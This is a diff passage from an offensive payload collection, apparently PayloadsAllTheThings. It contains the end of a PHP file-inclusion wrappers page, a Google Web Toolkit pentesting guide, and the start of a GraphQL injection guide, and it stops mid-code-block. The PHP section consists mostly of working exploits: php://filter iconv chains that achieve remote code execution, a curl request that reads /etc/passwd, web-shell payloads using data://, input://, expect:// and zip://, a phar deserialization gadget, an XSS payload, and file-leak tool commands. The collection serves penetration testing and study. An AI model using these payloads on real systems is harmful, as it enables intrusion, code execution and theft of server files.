php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.UCS-2.UTF8|convert.iconv.L6.UTF8|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
|
||||
```
|
||||
|
||||
- [LFI2RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File%20Inclusion/Files/LFI2RCE.py) to generate a custom payload.
|
||||
|
||||
```powershell
|
||||
# vulnerable file: index.php
|
||||
# vulnerable parameter: file
|
||||
# executed command: id
|
||||
# executed PHP code: <?=`$_GET[0]`;;?>
|
||||
curl "127.0.0.1:8000/index.php?0=id&file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd"
|
||||
```
|
||||
|
||||
## Wrapper data://
|
||||
|
||||
The payload encoded in base64 is "`<?php system($_GET['cmd']);echo 'Shell done !'; ?>`".
|
||||
|
||||
```powershell
|
||||
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||||
```
|
||||
|
||||
Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
|
||||
|
||||
## Wrapper expect://
|
||||
|
||||
When used in PHP or a similar application, it may allow an attacker to specify commands to execute in the system's shell, as the `expect://` wrapper can invoke shell commands as part of its input.
|
||||
|
||||
```powershell
|
||||
http://example.com/index.php?page=expect://id
|
||||
http://example.com/index.php?page=expect://ls
|
||||
```
|
||||
|
||||
## Wrapper input://
|
||||
|
||||
Specify your payload in the POST parameters, this can be done with a simple `curl` command.
|
||||
|
||||
```powershell
|
||||
curl -X POST --data "<?php echo shell_exec('id'); ?>" "https://example.com/index.php?page=php://input%00" -k -v
|
||||
```
|
||||
|
||||
Alternatively, Kadimus has a module to automate this attack.
|
||||
|
||||
```powershell
|
||||
./kadimus -u "https://example.com/index.php?page=php://input%00" -C '<?php echo shell_exec("id"); ?>' -T input
|
||||
```
|
||||
|
||||
## Wrapper zip://
|
||||
|
||||
- Create an evil payload: `echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;`
|
||||
- Zip the file
|
||||
|
||||
```python
|
||||
zip payload.zip payload.php;
|
||||
mv payload.zip shell.jpg;
|
||||
rm payload.php
|
||||
```
|
||||
|
||||
- Upload the archive and access the file using the wrappers:
|
||||
|
||||
```ps1
|
||||
http://example.com/index.php?page=zip://shell.jpg%23payload.php
|
||||
```
|
||||
|
||||
## Wrapper phar://
|
||||
|
||||
### PHAR archive structure
|
||||
|
||||
PHAR files work like ZIP files, when you can use the `phar://` to access files stored inside them.
|
||||
|
||||
- Create a phar archive containing a backdoor file: `php --define phar.readonly=0 archive.php`
|
||||
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('archive.phar');
|
||||
$phar->startBuffering();
|
||||
$phar->addFromString('test.txt', '<?php phpinfo(); ?>');
|
||||
$phar->setStub('<?php __HALT_COMPILER(); ?>');
|
||||
$phar->stopBuffering();
|
||||
?>
|
||||
```
|
||||
|
||||
- Use the `phar://` wrapper: `curl http://127.0.0.1:8001/?page=phar:///var/www/html/archive.phar/test.txt`
|
||||
|
||||
### PHAR deserialization
|
||||
|
||||
:warning: This technique doesn't work on PHP 8+, the deserialization has been removed.
|
||||
|
||||
If a file operation is now performed on our existing phar file via the `phar://` wrapper, then its serialized meta data is unserialized. This vulnerability occurs in the following functions, including file_exists: `include`, `file_get_contents`, `file_put_contents`, `copy`, `file_exists`, `is_executable`, `is_file`, `is_dir`, `is_link`, `is_writable`, `fileperms`, `fileinode`, `filesize`, `fileowner`, `filegroup`, `fileatime`, `filemtime`, `filectime`, `filetype`, `getimagesize`, `exif_read_data`, `stat`, `lstat`, `touch`, `md5_file`, etc.
|
||||
|
||||
This exploit requires at least one class with magic methods such as `__destruct()` or `__wakeup()`.
|
||||
Let's take this `AnyClass` class as example, which execute the parameter data.
|
||||
|
||||
```php
|
||||
class AnyClass {
|
||||
public $data = null;
|
||||
public function __construct($data) {
|
||||
$this->data = $data;
|
||||
}
|
||||
|
||||
function __destruct() {
|
||||
system($this->data);
|
||||
}
|
||||
}
|
||||
|
||||
...
|
||||
echo file_exists($_GET['page']);
|
||||
```
|
||||
|
||||
We can craft a phar archive containing a serialized object in its meta-data.
|
||||
|
||||
```php
|
||||
// create new Phar
|
||||
$phar = new Phar('deser.phar');
|
||||
$phar->startBuffering();
|
||||
$phar->addFromString('test.txt', 'text');
|
||||
$phar->setStub('<?php __HALT_COMPILER(); ?>');
|
||||
|
||||
// add object of any class as meta data
|
||||
class AnyClass {
|
||||
public $data = null;
|
||||
public function __construct($data) {
|
||||
$this->data = $data;
|
||||
}
|
||||
|
||||
function __destruct() {
|
||||
system($this->data);
|
||||
}
|
||||
}
|
||||
$object = new AnyClass('whoami');
|
||||
$phar->setMetadata($object);
|
||||
$phar->stopBuffering();
|
||||
```
|
||||
|
||||
Finally call the phar wrapper: `curl http://127.0.0.1:8001/?page=phar:///var/www/html/deser.phar`
|
||||
|
||||
NOTE: you can use the `$phar->setStub()` to add the magic bytes of JPG file: `\xff\xd8\xff`
|
||||
|
||||
```php
|
||||
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
|
||||
```
|
||||
|
||||
## Wrapper convert.iconv:// and dechunk://
|
||||
|
||||
### Leak file content from error-based oracle
|
||||
|
||||
- `convert.iconv://`: convert input into another folder (`convert.iconv.utf-16le.utf-8`)
|
||||
- `dechunk://`: if the string contains no newlines, it will wipe the entire string if and only if the string starts with A-Fa-f0-9
|
||||
|
||||
The goal of this exploitation is to leak the content of a file, one character at a time, based on the [DownUnderCTF](https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/minimal-php/solve/solution.py) writeup.
|
||||
|
||||
**Requirements**:
|
||||
|
||||
- Backend must not use `file_exists` or `is_file`.
|
||||
- Vulnerable parameter should be in a `POST` request.
|
||||
- You can't leak more than 135 characters in a GET request due to the size limit
|
||||
|
||||
The exploit chain is based on PHP filters: `iconv` and `dechunk`:
|
||||
|
||||
1. Use the `iconv` filter with an encoding increasing the data size exponentially to trigger a memory error.
|
||||
2. Use the `dechunk` filter to determine the first character of the file, based on the previous error.
|
||||
3. Use the `iconv` filter again with encodings having different bytes ordering to swap remaining characters with the first one.
|
||||
|
||||
Exploit using [synacktiv/php_filter_chains_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit), the script will use either the `HTTP status code: 500` or the time as an error-based oracle to determine the character.
|
||||
|
||||
```ps1
|
||||
$ python3 filters_chain_oracle_exploit.py --target http://127.0.0.1 --file '/test' --parameter 0
|
||||
[*] The following URL is targeted : http://127.0.0.1
|
||||
[*] The following local file is leaked : /test
|
||||
[*] Running POST requests
|
||||
[+] File /test leak is finished!
|
||||
```
|
||||
|
||||
### Leak file content inside a custom format output
|
||||
|
||||
- [ambionics/wrapwrap](https://github.com/ambionics/wrapwrap) - Generates a `php://filter` chain that adds a prefix and a suffix to the contents of a file.
|
||||
|
||||
To obtain the contents of some file, we would like to have: `{"message":"<file contents>"}`.
|
||||
|
||||
```ps1
|
||||
./wrapwrap.py /etc/passwd 'PREFIX' 'SUFFIX' 1000
|
||||
./wrapwrap.py /etc/passwd '{"message":"' '"}' 1000
|
||||
./wrapwrap.py /etc/passwd '<root><name>' '</name></root>' 1000
|
||||
```
|
||||
|
||||
This can be used against vulnerable code like the following.
|
||||
|
||||
```php
|
||||
<?php
|
||||
$data = file_get_contents($_POST['url']);
|
||||
$data = json_decode($data);
|
||||
echo $data->message;
|
||||
?>
|
||||
```
|
||||
|
||||
### Leak file content using blind file read primitive
|
||||
|
||||
- [ambionics/lightyear](https://github.com/ambionics/lightyear)
|
||||
|
||||
```ps1
|
||||
code remote.py # edit Remote.oracle
|
||||
./lightyear.py test # test that your implementation works
|
||||
./lightyear.py /etc/passwd # dump a file!
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [Baby^H Master PHP 2017 - Orange Tsai (@orangetw) - Dec 5, 2021](https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017)
|
||||
- [Iconv, set the charset to RCE: exploiting the libc to hack the php engine (part 1) - Charles Fol - May 27, 2024](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)
|
||||
- [Introducing lightyear: a new way to dump PHP files - Charles Fol - November 4, 2024](https://www.ambionics.io/blog/lightyear-file-dump)
|
||||
- [Introducing wrapwrap: using PHP filters to wrap a file with a prefix and suffix - Charles Fol - December 11, 2023](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix)
|
||||
- [It's A PHP Unserialization Vulnerability Jim But Not As We Know It - Sam Thomas - August 10, 2018](https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf)
|
||||
- [New PHP Exploitation Technique - Dr. Johannes Dahse - August 14, 2018](https://web.archive.org/web/20180817103621/https://blog.ripstech.com/2018/new-php-exploitation-technique/)
|
||||
- [OffensiveCon24 - Charles Fol- Iconv, Set the Charset to RCE - June 14, 2024](https://youtu.be/dqKFHjcK9hM)
|
||||
- [PHP FILTER CHAINS: FILE READ FROM ERROR-BASED ORACLE - Rémi Matasse - March 21, 2023](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)
|
||||
- [PHP FILTERS CHAIN: WHAT IS IT AND HOW TO USE IT - Rémi Matasse - October 18, 2022](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
|
||||
- [Solving "includer's revenge" from hxp ctf 2021 without controlling any files - @loknop - December 30, 2021](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)
|
||||
64
Google Web Toolkit/README.md
Normal file
64
Google Web Toolkit/README.md
Normal file
|
|
@ -0,0 +1,64 @@
|
|||
# Google Web Toolkit
|
||||
|
||||
> Google Web Toolkit (GWT), also known as GWT Web Toolkit, is an open-source set of tools that allows web developers to create and maintain JavaScript front-end applications using Java. It was originally developed by Google and had its initial release on May 16, 2006.
|
||||
|
||||
## Summary
|
||||
|
||||
* [Tools](#tools)
|
||||
* [Methodology](#methodology)
|
||||
* [References](#references)
|
||||
|
||||
## Tools
|
||||
|
||||
* [FSecureLABS/GWTMap](https://github.com/FSecureLABS/GWTMap) - GWTMap is a tool to help map the attack surface of Google Web Toolkit (GWT) based applications.
|
||||
* [GDSSecurity/GWT-Penetration-Testing-Toolset](https://github.com/GDSSecurity/GWT-Penetration-Testing-Toolset) - A set of tools made to assist in penetration testing GWT applications.
|
||||
|
||||
## Methodology
|
||||
|
||||
* Enumerate the methods of a remote application via it's bootstrap file and create a local backup of the code (selects permutation at random):
|
||||
|
||||
```ps1
|
||||
./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --backup
|
||||
```
|
||||
|
||||
* Enumerate the methods of a remote application via a specific code permutation
|
||||
|
||||
```ps1
|
||||
./gwtmap.py -u http://10.10.10.10/olympian/C39AB19B83398A76A21E0CD04EC9B14C.cache.js
|
||||
```
|
||||
|
||||
* Enumerate the methods whilst routing traffic through an HTTP proxy:
|
||||
|
||||
```ps1
|
||||
./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --backup -p http://127.0.0.1:8080
|
||||
```
|
||||
|
||||
* Enumerate the methods of a local copy (a file) of any given permutation:
|
||||
|
||||
```ps1
|
||||
./gwtmap.py -F test_data/olympian/C39AB19B83398A76A21E0CD04EC9B14C.cache.js
|
||||
```
|
||||
|
||||
* Filter output to a specific service or method:
|
||||
|
||||
```ps1
|
||||
./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --filter AuthenticationService.login
|
||||
```
|
||||
|
||||
* Generate RPC payloads for all methods of the filtered service, with coloured output
|
||||
|
||||
```ps1
|
||||
./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --filter AuthenticationService --rpc --color
|
||||
```
|
||||
|
||||
* Automatically test (probe) the generate RPC request for the filtered service method
|
||||
|
||||
```ps1
|
||||
./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --filter AuthenticationService.login --rpc --probe
|
||||
./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --filter TestService.testDetails --rpc --probe
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
* [From Serialized to Shell :: Exploiting Google Web Toolkit with EL Injection - Stevent Seeley - May 22, 2017](https://srcincite.io/blog/2017/05/22/from-serialized-to-shell-auditing-google-web-toolkit-with-el-injection.html)
|
||||
* [Hacking a Google Web Toolkit application - thehackerish - April 22, 2021](https://thehackerish.com/hacking-a-google-web-toolkit-application/)
|
||||
BIN
GraphQL Injection/Images/htb-help.png
Normal file
BIN
GraphQL Injection/Images/htb-help.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 21 KiB |
401
GraphQL Injection/README.md
Normal file
401
GraphQL Injection/README.md
Normal file
|
|
@ -0,0 +1,401 @@
|
|||
# GraphQL Injection
|
||||
|
||||
> GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type
|
||||
|
||||
## Summary
|
||||
|
||||
- [Tools](#tools)
|
||||
- [Enumeration](#enumeration)
|
||||
- [Common GraphQL Endpoints](#common-graphql-endpoints)
|
||||
- [Identify An Injection Point](#identify-an-injection-point)
|
||||
- [Enumerate Database Schema via Introspection](#enumerate-database-schema-via-introspection)
|
||||
- [Enumerate Database Schema via Suggestions](#enumerate-database-schema-via-suggestions)
|
||||
- [Enumerate Types Definition](#enumerate-types-definition)
|
||||
- [List Path To Reach A Type](#list-path-to-reach-a-type)
|
||||
- [Methodology](#methodology)
|
||||
- [Extract Data](#extract-data)
|
||||
- [Extract Data Using Edges/Nodes](#extract-data-using-edgesnodes)
|
||||
- [Extract Data Using Projections](#extract-data-using-projections)
|
||||
- [Mutations](#mutations)
|
||||
- [GraphQL Batching Attacks](#graphql-batching-attacks)
|
||||
- [JSON List Based Batching](#json-list-based-batching)
|
||||
- [Query Name Based Batching](#query-name-based-batching)
|
||||
- [Injections](#injections)
|
||||
- [NOSQL Injection](#nosql-injection)
|
||||
- [SQL Injection](#sql-injection)
|
||||
- [Labs](#labs)
|
||||
- [References](#references)
|
||||
|
||||
## Tools
|
||||
|
||||
- [swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap) - Scripting engine to interact with a graphql endpoint for pentesting purposes
|
||||
- [doyensec/graph-ql](https://github.com/doyensec/graph-ql/) - GraphQL Security Research Material
|
||||
- [doyensec/inql](https://github.com/doyensec/inql) - A Burp Extension for GraphQL Security Testing
|
||||
- [doyensec/GQLSpection](https://github.com/doyensec/GQLSpection) - GQLSpection - parses GraphQL introspection schema and generates possible queries
|
||||
- [dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum) - Lists the different ways of reaching a given type in a GraphQL schema
|
||||
- [andev-software/graphql-ide](https://github.com/andev-software/graphql-ide) - An extensive IDE for exploring GraphQL API's
|
||||
- [mchoji/clairvoyancex](https://github.com/mchoji/clairvoyancex) - Obtain GraphQL API schema despite disabled introspection
|
||||
- [nicholasaleks/CrackQL](https://github.com/nicholasaleks/CrackQL) - A GraphQL password brute-force and fuzzing utility
|
||||
- [nicholasaleks/graphql-threat-matrix](https://github.com/nicholasaleks/graphql-threat-matrix) - GraphQL threat framework used by security professionals to research security gaps in GraphQL implementations
|
||||
- [dolevf/graphql-cop](https://github.com/dolevf/graphql-cop) - Security Auditor Utility for GraphQL APIs
|
||||
- [dolevf/graphw00f](https://github.com/dolevf/graphw00f) - GraphQL Server Engine Fingerprinting utility
|
||||
- [IvanGoncharov/graphql-voyager](https://github.com/IvanGoncharov/graphql-voyager) - Represent any GraphQL API as an interactive graph
|
||||
- [Insomnia](https://insomnia.rest/) - Cross-platform HTTP and GraphQL Client
|
||||
|
||||
## Enumeration
|
||||
|
||||
### Common GraphQL Endpoints
|
||||
|
||||
Most of the time GraphQL is located at the `/graphql` or `/graphiql` endpoint.
|
||||
A more complete list is available at [danielmiessler/SecLists/graphql.txt](https://github.com/danielmiessler/SecLists/blob/fe2aa9e7b04b98d94432320d09b5987f39a17de8/Discovery/Web-Content/graphql.txt).
|
||||
|
||||
```ps1
|
||||
/v1/explorer
|
||||
/v1/graphiql
|
||||
/graph
|
||||
/graphql
|
||||
/graphql/console/
|
||||
/graphql.php
|
||||
/graphiql
|
||||
/graphiql.php
|
||||
```
|
||||
|
||||
### Identify An Injection Point
|
||||
|
||||
```js
|
||||
example.com/graphql?query={__schema{types{name}}}
|
||||
example.com/graphiql?query={__schema{types{name}}}
|
||||
```
|
||||
|
||||
Check if errors are visible.
|
||||
|
||||
```javascript
|
||||
?query={__schema}
|
||||
?query={}
|
||||
?query={thisdefinitelydoesnotexist}
|
||||
```
|
||||
|
||||
### Enumerate Database Schema via Introspection
|
||||
|
||||
URL encoded query to dump the database schema.
|
||||
|
||||
```js
|
||||
fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}
|
||||
```
|
||||
|
||||
URL decoded query to dump the database schema.
|
||||
|
||||
```javascript
|
||||
fragment FullType on __Type {
|
||||
kind
|
||||
name
|
||||
description
|
||||
fields(includeDeprecated: true) {
|
||||
name
|
||||
description
|
||||
args {
|
||||
...InputValue
|
||||
}
|
||||
type {
|
||||
...TypeRef
|
||||
}
|
||||
isDeprecated
|
||||
deprecationReason
|
||||
}
|
||||
inputFields {
|
||||
...InputValue
|
||||
}
|
||||
interfaces {
|
||||
...TypeRef
|
||||
}
|
||||
enumValues(includeDeprecated: true) {
|
||||
name
|
||||
description
|
||||
isDeprecated
|
||||
deprecationReason
|
||||
}
|
||||
possibleTypes {
|
||||
...TypeRef
|
||||
}
|
||||
}
|
||||
fragment InputValue on __InputValue {
|
||||
name
|
||||
description
|
||||
type {
|
||||
...TypeRef
|
||||
}
|
||||
defaultValue
|
||||
}
|
||||
fragment TypeRef on __Type {
|
||||
kind
|
||||
name
|
||||
ofType {
|
||||
kind
|
||||
name
|
||||
ofType {
|
||||
kind
|
||||
name
|
||||
ofType {
|
||||
kind
|
||||
name
|
||||
ofType {
|
||||
kind
|
||||
name
|
||||
ofType {
|
||||
kind
|
||||
name
|
||||
ofType {
|
||||
kind
|
||||
name
|
||||
ofType {
|
||||
kind
|
||||
name
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
query IntrospectionQuery {
|
||||
__schema {
|
||||
queryType {
|
||||
name
|
||||
}
|
||||
mutationType {
|
||||
name
|
||||
}
|
||||
types {
|
||||
...FullType
|
||||
}
|
||||
directives {
|
||||
name
|
||||
description
|
||||
locations
|
||||
args {
|
||||
...InputValue
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Single line queries to dump the database schema without fragments.
|
||||
|
||||
```js
|
||||
